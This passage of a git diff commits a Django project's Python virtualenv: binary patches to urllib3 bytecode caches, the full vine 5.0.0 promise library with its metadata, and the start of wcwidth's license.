zEqx&^PHw?1LWG1!=L+BF&~=sou|cn`Zm_oJ201jdEJwnso87df$jh9m=4eOyTE{ITTif5~Z>9%g~E&4Ho3Q&H{QxyhNI*v#+X}F5#`g zl6GGD*#jm=C&Tnq@B(PbgOgFR^~FpHC_5sM`(g$4CO)T~-H`0F^4o@*i81R%pIX>z;@>>Z zidHrqES=h+1ZG#PlbziR`lHEjspw%Cz;X4l)%wfAFM{9}FSuuG*2GP5D}KK!M3DU< zhA=~vA%->HhAi&8S_<_Ie)hy(4k&oQTjcyIn+F&kWq6F?HHLAX)t7aPVF$w`!%l`O zjs_SG^XDOkX@=7bKR~0eteTsKmKF|RWAKtL*7XSbN diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/packages/ssl_match_hostname/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/packages/ssl_match_hostname/__pycache__/__init__.cpython-310.pyc index 8a1fbfef29e6870796e5fe0a8e072eaf34dcbf28..2bcf617e042c708e5411ace5f2d67b2115693111 100644 GIT binary patch delta 21 bcmaFB@_>aWpO=@50SNlVXC!Up31I>NJBbAw delta 21 bcmaFB@_>aWpO=@50SK~J?n&Ip6T$=lKRN}h diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/packages/ssl_match_hostname/__pycache__/_implementation.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/packages/ssl_match_hostname/__pycache__/_implementation.cpython-310.pyc index 679da85769c88c5a822d777f0edb8d9c8dcade74..ef8b26c9b15dfc8a77e8fbb9a7b912f406531b7a 100644 GIT binary patch delta 273 zcmaDa`CgJIpO=@50SNlVXC!UpiDS`@VoJ%o#gUO;T#}cVn;ONNn^+NFo|%)9oLH1n z9K}+QSWv9CJ$ifCd+_0o6t^yZ8lHad`$PIHsf&r4|?8Vuz}Vn%u{= zmRlRBrbq`wXiawGR_B%jG5JA+!Q={VIq4{ty+sBf!g}&b9yb8f*-Nbe delta 273 zcmaDa`CgJIpO=@50SK~J?n&Ip6UU-`izy}V7Dq;YaYYqoQvtGyR3;x{o(ljs C+YE33 delta 50 zcmcc5ai4=HpO=@50SK~J?n&Ipqr%L4i?t}Vq^Pop6DW9VvMqBxn;MW+q&E2w^IQO8 C7Y+pg diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/connection.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/connection.cpython-310.pyc index da030ee9bf9b13b905218d7e3c58e2002f1e4e77..8f7ec192a25644abd87b82adefcae9490f69b474 100644 GIT binary patch delta 76 zcmew_^Z=z-Tc!o5z*Wdh$jd1*uy?rA0Y8nMuZa dsTIko1tppJdBsJ{Ks`~DU-P&D6&dmR0su4b77YLZ delta 76 zcmew_^q_6r`erN{e!GGLww; dQY(^E3raHc^NNd@fqHIDe$C?sRAj{K3jk%N7a;%u diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/proxy.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/proxy.cpython-310.pyc index bda7e313622395c89226f92df00023723b019047..25ffc7d8f5c053aa1b98a5fcbf8e089279b65f1d 100644 GIT binary patch delta 116 zcmX@bb&888pO=@50SNlVXC!Up@nd3)njFm}4J6B%^clG(FK61u$g?<(nUR+ts7RBo rh!;o|@lDQVG2;g5D*_YTlh?2~Gm1|Bz@i|<0}>U5OCc-LVpRYDcI_2Y delta 116 zcmX@bb&888pO=@50SK~J?n&Ip|N3(r4tEyqswpBj4gUW=38?pdwAS rB7PuMBrrLf#f+N=!~_$(lh?2~Gm20Cz@i|<2ND&BOCc-LVpRYD5Na0! diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/queue.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/queue.cpython-310.pyc index 5511e1aeb1f0db9e0e27e5ed171b3bc635e40972..ec784c085f26904c41aa947ac857357d2809d879 100644 GIT binary patch delta 27 hcmdnQv5A8xpO=@50SNlVXC!Up+04v%Yw`i+A^=_H2g(2d delta 27 hcmdnQv5A8xpO=@50SK~J?n&IpvzeJOYVrZ*A^>822ipJu diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/request.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/request.cpython-310.pyc index be08372e92e8961c42bdff375f1f23e633bd0fb3..9aeec83629e8fe3e81cfa968c86cde86aa2e36f8 100644 GIT binary patch delta 305 zcmbOwJxiJ=pO=@50SNlVXC!UpNo8Y2WI+-fN%<+2@df$CQJi2_acXKd#0rQ#AQL1ed-Lcr mN=&ZgXS1tsyR zdCB=HnR)5AxJrvti{ca0Q}ar0aU~@dXC}udmX>7P5-2Fjuc(Yi5}9npF2yK4Ih1`j zqwHou4k<=Pxyd@52Hes>D~rH{%;a=V3r4lg3pl-)5*0wgd?11yL@0s?B@n?1B9wu| zEv~S{oYGX+qN4nwTP!7&1*w|MMJgZ(j->pQ%J_o(;#-_xR&i=-HpB{uJs=b0Cwueg mGRjY`WNwixh)@G70ucxYLR}fg>jD5nmr<_( diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/response.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/response.cpython-310.pyc index c8b114904c419379f72d7ee5b64d53cc5620203a..3e47892c15a3161bb458f615cbcc52a7b074dcbb 100644 GIT binary patch delta 27 hcmdllv|orPpO=@50SNlVXC!UpxyZqIYw|sgL;z#t2rU2r delta 27 hcmdllv|orPpO=@50SK~J?n&IpbCH8FYVtjfL;z@e2tEJ+ diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/retry.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/retry.cpython-310.pyc index 50907fc6a1fe6c857f5db448e83785626c0ca5cc..ea5e3a48600f49ee086999abbabdbd2e7f9af4cd 100644 GIT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Z~y=R diff --git a/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/wait.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/urllib3/util/__pycache__/wait.cpython-310.pyc index 208bd5b0a3b312438ffaa8fc922ebfee39ba655f..81b763b739cfb6f6c09829c481f24dc6d3a155b2 100644 GIT binary patch delta 390 zcmXAj-AV#c5XT!`&weU>SPB_gh7lRIl65C^Q4on1B*7MeAB%~IFm5c-ML`b`GB@2x zbk$|`0MTnK^e&xQ51ikB&VT02%p^TYTf=zVn33lt_1gNhzM|lK|3s^hcLcU?-FDv* zeyBJri=>HevvV)asgfP5L5`kc&yXQST!KT_qH(n%YcVAeh_iaNdQuBi)_UUtH`vwC z?e<2Vi@3^_^AcMEvmCE6)){jWfih^0`nbt&laVJ&tw4cJ)iD(5Pwi&8Vb~!^9C{x1 zT6dm%gg8W8ntteL6|m`DbA-)CfuefO%yC#`?2xT5ESF^XDDTLU5JG?f0+dJsutevP zBn=FW9`v_lxE^ozAu}uy%+juL4144oW6Bu1ie>5JKDVW9Q-=d8oBm=ru)vvcYPd>? He$AVI$5d8| delta 395 zcmX|5+e$)F5N*8db5*RYgeWv2up$ymluGEKAQCM|f{MWOU?L)nCnS0(=nG^%K%yrf ztJfg=QTP~3^Zd* zH7OCjdh8XPX?N12@3RPUWx(>ISN{7C&Ou;VVknn>|#-+Pb&JZ0wDz0ARrWo0v72k5T~wf z(xden*Y?=iSXGz;n4&HF2zF^;4`ctvaZeR-pLf%`V?l{_oWY#Fn&XN-t^E|~$GQ0f DFpOJ2 diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/LICENSE new file mode 100644 index 00000000..0a949125 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/LICENSE @@ -0,0 +1,52 @@ +Copyright (c) 2015-2016 Ask Solem & contributors. All rights reserved. + +Vine is licensed under The BSD License (3 Clause, also known as +the new BSD license). The license is an OSI approved Open Source +license and is GPL-compatible(1). + +The license text can also be found here: +http://www.opensource.org/licenses/BSD-3-Clause + +License +======= + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + * Neither the name of Ask Solem, nor the + names of its contributors may be used to endorse or promote products + derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL Ask Solem OR CONTRIBUTORS +BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + +Documentation License +===================== + +The documentation portion of Vine (the rendered contents of the +"docs" directory of a software distribution or checkout) is supplied +under the "Creative Commons Attribution-ShareAlike 4.0 +International" (CC BY-SA 4.0) License as described by +http://creativecommons.org/licenses/by-sa/4.0/ + +Footnotes +========= +(1) A GPL-compatible license makes it possible to + combine Vine with other software that is released + under the GPL, it does not mean that we're distributing + Vine under the GPL license. The BSD license, unlike the GPL, + let you distribute a modified version without making your + changes open source. diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/METADATA new file mode 100644 index 00000000..410777d3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/METADATA @@ -0,0 +1,65 @@ +Metadata-Version: 2.1 +Name: vine +Version: 5.0.0 +Summary: Promises, promises, promises. +Home-page: http://github.com/celery/vine +Author: Ask Solem +Author-email: ask@celeryproject.org +License: BSD +Keywords: promise promises lazy future futures +Platform: any +Classifier: Development Status :: 5 - Production/Stable +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 +Classifier: Programming Language :: Python :: 3.6 +Classifier: Programming Language :: Python :: 3.7 +Classifier: Programming Language :: Python :: 3.8 +Classifier: Programming Language :: Python :: 3 :: Only +Classifier: Programming Language :: Python :: Implementation :: CPython +Classifier: Programming Language :: Python :: Implementation :: PyPy +Classifier: License :: OSI Approved :: BSD License +Classifier: Intended Audience :: Developers +Classifier: Operating System :: OS Independent +Requires-Python: >=3.6 + +===================================================================== + vine - Python Promises +===================================================================== + +|build-status| |coverage| |license| |wheel| |pyversion| |pyimp| + +:Version: 5.0.0 +:Web: https://vine.readthedocs.io/ +:Download: https://pypi.org/project/vine/ +:Source: http://github.com/celery/vine/ +:Keywords: promise, async, future + +About +===== + + +.. |build-status| image:: https://secure.travis-ci.org/celery/vine.png?branch=master + :alt: Build status + :target: https://travis-ci.org/celery/vine + +.. |coverage| image:: https://codecov.io/github/celery/vine/coverage.svg?branch=master + :target: https://codecov.io/github/celery/vine?branch=master + +.. |license| image:: https://img.shields.io/pypi/l/vine.svg + :alt: BSD License + :target: https://opensource.org/licenses/BSD-3-Clause + +.. |wheel| image:: https://img.shields.io/pypi/wheel/vine.svg + :alt: Vine can be installed via wheel + :target: https://pypi.org/project/vine/ + +.. |pyversion| image:: https://img.shields.io/pypi/pyversions/vine.svg + :alt: Supported Python versions. + :target: https://pypi.org/project/vine/ + +.. |pyimp| image:: https://img.shields.io/pypi/implementation/vine.svg + :alt: Support Python implementations. + :target: https://pypi.org/project/vine/ + + + diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/RECORD new file mode 100644 index 00000000..1cacc201 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/RECORD @@ -0,0 +1,18 @@ +vine-5.0.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +vine-5.0.0.dist-info/LICENSE,sha256=F39i9TUrkyH4As6tDCJHZj03iVME-cQ0aYRGvpDFqvg,2461 +vine-5.0.0.dist-info/METADATA,sha256=AG_EZ2i3-qxw212jZLlm7PiLGBVBdVG3P9i6coA6fsI,2240 +vine-5.0.0.dist-info/RECORD,, +vine-5.0.0.dist-info/WHEEL,sha256=ADKeyaGyKF5DwBNE0sRE5pvW-bSkFMJfBuhzZ3rceP4,110 +vine-5.0.0.dist-info/top_level.txt,sha256=v1YdTPh_DwKnd4QlKG6dLJ1oiFOHoRPYbm_JobFQhwg,5 +vine/__init__.py,sha256=gi-rRtwKET6BlU4D4nt9xmOlM_Ozxn-Opd01OAcWKa0,1038 +vine/__pycache__/__init__.cpython-310.pyc,, +vine/__pycache__/abstract.cpython-310.pyc,, +vine/__pycache__/funtools.cpython-310.pyc,, +vine/__pycache__/promises.cpython-310.pyc,, +vine/__pycache__/synchronization.cpython-310.pyc,, +vine/__pycache__/utils.cpython-310.pyc,, +vine/abstract.py,sha256=Z__X_AxuDZb-F7w6ndNbmxqJoj5uXF5QCWlxMdOM01E,1620 +vine/funtools.py,sha256=fezhfbCSPLgutv9haX587wOLxMb5sjTYsh6NjPegEmo,2861 +vine/promises.py,sha256=veXqIKx7c3oqelKl8YsxxFLph0ohcrsW22-ckbgt9e8,7598 +vine/synchronization.py,sha256=KMn0n1miG14oScqeAphZGqWlVFOAK0Kun-Qg7XH-8Ko,2714 +vine/utils.py,sha256=P0lcnK9xJCUTDcv-eOFXCrx8fXa3HH0fuEP9u1ieGQI,849 diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/WHEEL new file mode 100644 index 00000000..6d38aa06 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/WHEEL @@ -0,0 +1,6 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.35.1) +Root-Is-Purelib: true +Tag: py2-none-any +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/top_level.txt new file mode 100644 index 00000000..efa9f2e4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine-5.0.0.dist-info/top_level.txt @@ -0,0 +1 @@ +vine diff --git a/django_lottopy/lib/python3.10/site-packages/vine/__init__.py b/django_lottopy/lib/python3.10/site-packages/vine/__init__.py new file mode 100644 index 00000000..03fe6bff --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/__init__.py @@ -0,0 +1,39 @@ +"""Promises, promises, promises.""" +import re + +from collections import namedtuple + +from .abstract import Thenable +from .promises import promise +from .synchronization import barrier +from .funtools import ( + maybe_promise, ensure_promise, + ppartial, preplace, starpromise, transform, wrap, +) + + +__version__ = '5.0.0' +__author__ = 'Ask Solem' +__contact__ = 'ask@celeryproject.org' +__homepage__ = 'http://github.com/celery/vine' +__docformat__ = 'restructuredtext' + +# -eof meta- + +version_info_t = namedtuple('version_info_t', ( + 'major', 'minor', 'micro', 'releaselevel', 'serial', +)) +# bump version can only search for {current_version} +# so we have to parse the version here. +_temp = re.match( + r'(\d+)\.(\d+).(\d+)(.+)?', __version__).groups() +VERSION = version_info = version_info_t( + int(_temp[0]), int(_temp[1]), int(_temp[2]), _temp[3] or '', '') +del(_temp) +del(re) + +__all__ = [ + 'Thenable', 'promise', 'barrier', + 'maybe_promise', 'ensure_promise', + 'ppartial', 'preplace', 'starpromise', 'transform', 'wrap', +] diff --git a/django_lottopy/lib/python3.10/site-packages/vine/abstract.py b/django_lottopy/lib/python3.10/site-packages/vine/abstract.py new file mode 100644 index 00000000..7349954b --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/abstract.py @@ -0,0 +1,68 @@ +"""Abstract classes.""" +import abc +from collections.abc import Callable + +__all__ = ['Thenable'] + + +class Thenable(Callable, metaclass=abc.ABCMeta): # pragma: no cover + """Object that supports ``.then()``.""" + + __slots__ = () + + @abc.abstractmethod + def then(self, on_success, on_error=None): + raise NotImplementedError() + + @abc.abstractmethod + def throw(self, exc=None, tb=None, propagate=True): + raise NotImplementedError() + + @abc.abstractmethod + def cancel(self): + raise NotImplementedError() + + @classmethod + def __subclasshook__(cls, C): + if cls is Thenable: + if any('then' in B.__dict__ for B in C.__mro__): + return True + return NotImplemented + + @classmethod + def register(cls, other): + # overide to return other so `register` can be used as a decorator + type(cls).register(cls, other) + return other + + +@Thenable.register +class ThenableProxy: + """Proxy to object that supports ``.then()``.""" + + def _set_promise_target(self, p): + self._p = p + + def then(self, on_success, on_error=None): + return self._p.then(on_success, on_error) + + def cancel(self): + return self._p.cancel() + + def throw1(self, exc=None): + return self._p.throw1(exc) + + def throw(self, exc=None, tb=None, propagate=True): + return self._p.throw(exc, tb=tb, propagate=propagate) + + @property + def cancelled(self): + return self._p.cancelled + + @property + def ready(self): + return self._p.ready + + @property + def failed(self): + return self._p.failed diff --git a/django_lottopy/lib/python3.10/site-packages/vine/funtools.py b/django_lottopy/lib/python3.10/site-packages/vine/funtools.py new file mode 100644 index 00000000..a50338ec --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/funtools.py @@ -0,0 +1,113 @@ +"""Functional utilities.""" +from .abstract import Thenable +from .promises import promise + +__all__ = [ + 'maybe_promise', 'ensure_promise', + 'ppartial', 'preplace', 'ready_promise', + 'starpromise', 'transform', 'wrap', +] + + +def maybe_promise(p): + """Return None if p is unefined, otherwise make sure it's a promise.""" + if p: + if not isinstance(p, Thenable): + return promise(p) + return p + + +def ensure_promise(p): + """Ensure p is a promise. + + If p is not a promise, a new promise is created with p' as callback. + """ + if p is None: + return promise() + return maybe_promise(p) + + +def ppartial(p, *args, **kwargs): + """Create/modify promise with partial arguments.""" + p = ensure_promise(p) + if args: + p.args = args + p.args + if kwargs: + p.kwargs.update(kwargs) + return p + + +def preplace(p, *args, **kwargs): + """Replace promise arguments. + + This will force the promise to disregard any arguments + the promise is fulfilled with, and to be called with the + provided arguments instead. + """ + def _replacer(*_, **__): + return p(*args, **kwargs) + return promise(_replacer) + + +def ready_promise(callback=None, *args): + """Create promise that is already fulfilled.""" + p = ensure_promise(callback) + p(*args) + return p + + +def starpromise(fun, *args, **kwargs): + """Create promise, using star arguments.""" + return promise(fun, args, kwargs) + + +def transform(filter_, callback, *filter_args, **filter_kwargs): + """Filter final argument to a promise. + + E.g. to coerce callback argument to :class:`int`:: + + transform(int, callback) + + or a more complex example extracting something from a dict + and coercing the value to :class:`float`: + + .. code-block:: python + + def filter_key_value(key, filter_, mapping): + return filter_(mapping[key]) + + def get_page_expires(self, url, callback=None): + return self.request( + 'GET', url, + callback=transform(get_key, callback, 'PageExpireValue', int), + ) + + """ + callback = ensure_promise(callback) + P = promise(_transback, (filter_, callback, filter_args, filter_kwargs)) + P.then(promise(), callback.throw) + return P + + +def _transback(filter_, callback, args, kwargs, ret): + try: + ret = filter_(*args + (ret,), **kwargs) + except Exception: + callback.throw() + else: + return callback(ret) + + +def wrap(p): + """Wrap promise. + + This wraps the promise such that if the promise is called with a promise as + argument, we attach ourselves to that promise instead. + """ + def on_call(*args, **kwargs): + if len(args) == 1 and isinstance(args[0], promise): + return args[0].then(p) + else: + return p(*args, **kwargs) + + return on_call diff --git a/django_lottopy/lib/python3.10/site-packages/vine/promises.py b/django_lottopy/lib/python3.10/site-packages/vine/promises.py new file mode 100644 index 00000000..c55e37b2 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/promises.py @@ -0,0 +1,240 @@ +"""Promise implementation.""" +import sys + +from collections import deque +import inspect +from weakref import ref, WeakMethod + +from .abstract import Thenable +from .utils import reraise + +__all__ = ['promise'] + + +@Thenable.register +class promise: + """Promise of future evaluation. + + This is a special implementation of promises in that it can + be used both for "promise of a value" and lazy evaluation. + The biggest upside for this is that everything in a promise can also be + a promise, e.g. filters, callbacks and errbacks can all be promises. + + Usage examples: + + .. code-block:: python + + >>> p = promise() + >>> p.then(promise(print, ('OK',))) # noqa + >>> p.on_error = promise(print, ('ERROR',)) # noqa + >>> p(20) + OK, 20 + >>> p.then(promise(print, ('hello',))) # noqa + hello, 20 + + + >>> p.throw(KeyError('foo')) + ERROR, KeyError('foo') + + + >>> p2 = promise() + >>> p2.then(print) # noqa + >>> p2.cancel() + >>> p(30) + + Example: + .. code-block:: python + + from vine import promise, wrap + + class Protocol(object): + + def __init__(self): + self.buffer = [] + + def receive_message(self): + return self.read_header().then( + self.read_body).then( + wrap(self.prepare_body)) + + def read(self, size, callback=None): + callback = callback or promise() + tell_eventloop_to_read(size, callback) + return callback + + def read_header(self, callback=None): + return self.read(4, callback) + + def read_body(self, header, callback=None): + body_size, = unpack('>L', header) + return self.read(body_size, callback) + + def prepare_body(self, value): + self.buffer.append(value) + """ + + if not hasattr(sys, 'pypy_version_info'): # pragma: no cover + __slots__ = ( + 'fun', 'args', 'kwargs', 'ready', 'failed', + 'value', 'ignore_result', 'reason', '_svpending', '_lvpending', + 'on_error', 'cancelled', 'weak', '__weakref__', + ) + + def __init__(self, fun=None, args=None, kwargs=None, + callback=None, on_error=None, weak=False, + ignore_result=False): + self.weak = weak + self.ignore_result = ignore_result + self.fun = self._get_fun_or_weakref(fun=fun, weak=weak) + self.args = args or () + self.kwargs = kwargs or {} + self.ready = False + self.failed = False + self.value = None + self.reason = None + # Optimization + # Most promises will only have one callback, so we optimize for this + # case by using a list only when there are multiple callbacks. + # s(calar) pending / l(ist) pending + self._svpending = None + self._lvpending = None + self.on_error = on_error + self.cancelled = False + + if callback is not None: + self.then(callback) + + if self.fun: + assert self.fun and callable(fun) + + @staticmethod + def _get_fun_or_weakref(fun, weak): + """Return the callable or a weak reference. + + Handles both bound and unbound methods. + """ + if not weak: + return fun + + if inspect.ismethod(fun): + return WeakMethod(fun) + else: + return ref(fun) + + def __repr__(self): + return ('<{0} --> {1!r}>' if self.fun else '<{0}>').format( + f'{type(self).__name__}@0x{id(self):x}', self.fun, + ) + + def cancel(self): + self.cancelled = True + try: + if self._svpending is not None: + self._svpending.cancel() + if self._lvpending is not None: + for pending in self._lvpending: + pending.cancel() + if isinstance(self.on_error, Thenable): + self.on_error.cancel() + finally: + self._svpending = self._lvpending = self.on_error = None + + def __call__(self, *args, **kwargs): + retval = None + if self.cancelled: + return + final_args = self.args + args if args else self.args + final_kwargs = dict(self.kwargs, **kwargs) if kwargs else self.kwargs + # self.fun may be a weakref + fun = self._fun_is_alive(self.fun) + if fun is not None: + try: + if self.ignore_result: + fun(*final_args, **final_kwargs) + ca = () + ck = {} + else: + retval = fun(*final_args, **final_kwargs) + self.value = (ca, ck) = (retval,), {} + except Exception: + return self.throw() + else: + self.value = (ca, ck) = final_args, final_kwargs + self.ready = True + svpending = self._svpending + if svpending is not None: + try: + svpending(*ca, **ck) + finally: + self._svpending = None + else: + lvpending = self._lvpending + try: + while lvpending: + p = lvpending.popleft() + p(*ca, **ck) + finally: + self._lvpending = None + return retval + + def _fun_is_alive(self, fun): + return fun() if self.weak else self.fun + + def then(self, callback, on_error=None): + if not isinstance(callback, Thenable): + callback = promise(callback, on_error=on_error) + if self.cancelled: + callback.cancel() + return callback + if self.failed: + callback.throw(self.reason) + elif self.ready: + args, kwargs = self.value + callback(*args, **kwargs) + if self._lvpending is None: + svpending = self._svpending + if svpending is not None: + self._svpending, self._lvpending = None, deque([svpending]) + else: + self._svpending = callback + return callback + self._lvpending.append(callback) + return callback + + def throw1(self, exc=None): + if not self.cancelled: + exc = exc if exc is not None else sys.exc_info()[1] + self.failed, self.reason = True, exc + if self.on_error: + self.on_error(*self.args + (exc,), **self.kwargs) + + def throw(self, exc=None, tb=None, propagate=True): + if not self.cancelled: + current_exc = sys.exc_info()[1] + exc = exc if exc is not None else current_exc + try: + self.throw1(exc) + svpending = self._svpending + if svpending is not None: + try: + svpending.throw1(exc) + finally: + self._svpending = None + else: + lvpending = self._lvpending + try: + while lvpending: + lvpending.popleft().throw1(exc) + finally: + self._lvpending = None + finally: + if self.on_error is None and propagate: + if tb is None and (exc is None or exc is current_exc): + raise + reraise(type(exc), exc, tb) + + @property + def listeners(self): + if self._lvpending: + return self._lvpending + return [self._svpending] diff --git a/django_lottopy/lib/python3.10/site-packages/vine/synchronization.py b/django_lottopy/lib/python3.10/site-packages/vine/synchronization.py new file mode 100644 index 00000000..53d87ea1 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/synchronization.py @@ -0,0 +1,96 @@ +"""Synchronization primitives.""" +from .abstract import Thenable +from .promises import promise + +__all__ = ['barrier'] + + +class barrier: + """Barrier. + + Synchronization primitive to call a callback after a list + of promises have been fulfilled. + + Example: + + .. code-block:: python + + # Request supports the .then() method. + p1 = http.Request('http://a') + p2 = http.Request('http://b') + p3 = http.Request('http://c') + requests = [p1, p2, p3] + + def all_done(): + pass # all requests complete + + b = barrier(requests).then(all_done) + + # oops, we forgot we want another request + b.add(http.Request('http://d')) + + Note that you cannot add new promises to a barrier after + the barrier is fulfilled. + """ + + def __init__(self, promises=None, args=None, kwargs=None, + callback=None, size=None): + self.p = promise() + self.args = args or () + self.kwargs = kwargs or {} + self._value = 0 + self.size = size or 0 + if not self.size and promises: + # iter(l) calls len(l) so generator wrappers + # can only return NotImplemented in the case the + # generator is not fully consumed yet. + plen = promises.__len__() + if plen is not NotImplemented: + self.size = plen + self.ready = self.failed = False + self.reason = None + self.cancelled = False + self.finalized = False + + [self.add_noincr(p) for p in promises or []] + self.finalized = bool(promises or self.size) + if callback: + self.then(callback) + + def __call__(self, *args, **kwargs): + if not self.ready and not self.cancelled: + self._value += 1 + if self.finalized and self._value >= self.size: + self.ready = True + self.p(*self.args, **self.kwargs) + + def finalize(self): + if not self.finalized and self._value >= self.size: + self.p(*self.args, **self.kwargs) + self.finalized = True + + def cancel(self): + self.cancelled = True + self.p.cancel() + + def add_noincr(self, p): + if not self.cancelled: + if self.ready: + raise ValueError('Cannot add promise to full barrier') + p.then(self) + + def add(self, p): + if not self.cancelled: + self.add_noincr(p) + self.size += 1 + + def then(self, callback, errback=None): + self.p.then(callback, errback) + + def throw(self, *args, **kwargs): + if not self.cancelled: + self.p.throw(*args, **kwargs) + throw1 = throw + + +Thenable.register(barrier) # noqa: E305 diff --git a/django_lottopy/lib/python3.10/site-packages/vine/utils.py b/django_lottopy/lib/python3.10/site-packages/vine/utils.py new file mode 100644 index 00000000..5fdd34e8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/vine/utils.py @@ -0,0 +1,30 @@ +"""Python compatibility utilities.""" +from functools import ( + WRAPPER_ASSIGNMENTS, WRAPPER_UPDATES, + update_wrapper as _update_wrapper, + partial, +) + +__all__ = ['update_wrapper', 'wraps'] + + +def update_wrapper(wrapper, wrapped, *args, **kwargs): + """Update wrapper, also setting .__wrapped__.""" + wrapper = _update_wrapper(wrapper, wrapped, *args, **kwargs) + wrapper.__wrapped__ = wrapped + return wrapper + + +def wraps(wrapped, + assigned=WRAPPER_ASSIGNMENTS, + updated=WRAPPER_UPDATES): + """Backport of Python 3.5 wraps that adds .__wrapped__.""" + return partial(update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + + +def reraise(tp, value, tb=None): + """Reraise exception.""" + if value.__traceback__ is not tb: + raise value.with_traceback(tb) + raise value diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/LICENSE new file mode 100644 index 00000000..a44c0757 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/wcwidth-0.2.5.dist-info/LICENSE @@ -0,0 +1,27 @@ +The MIT License (MIT) + +Copyright (c) 2014 Jeff Quast + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY 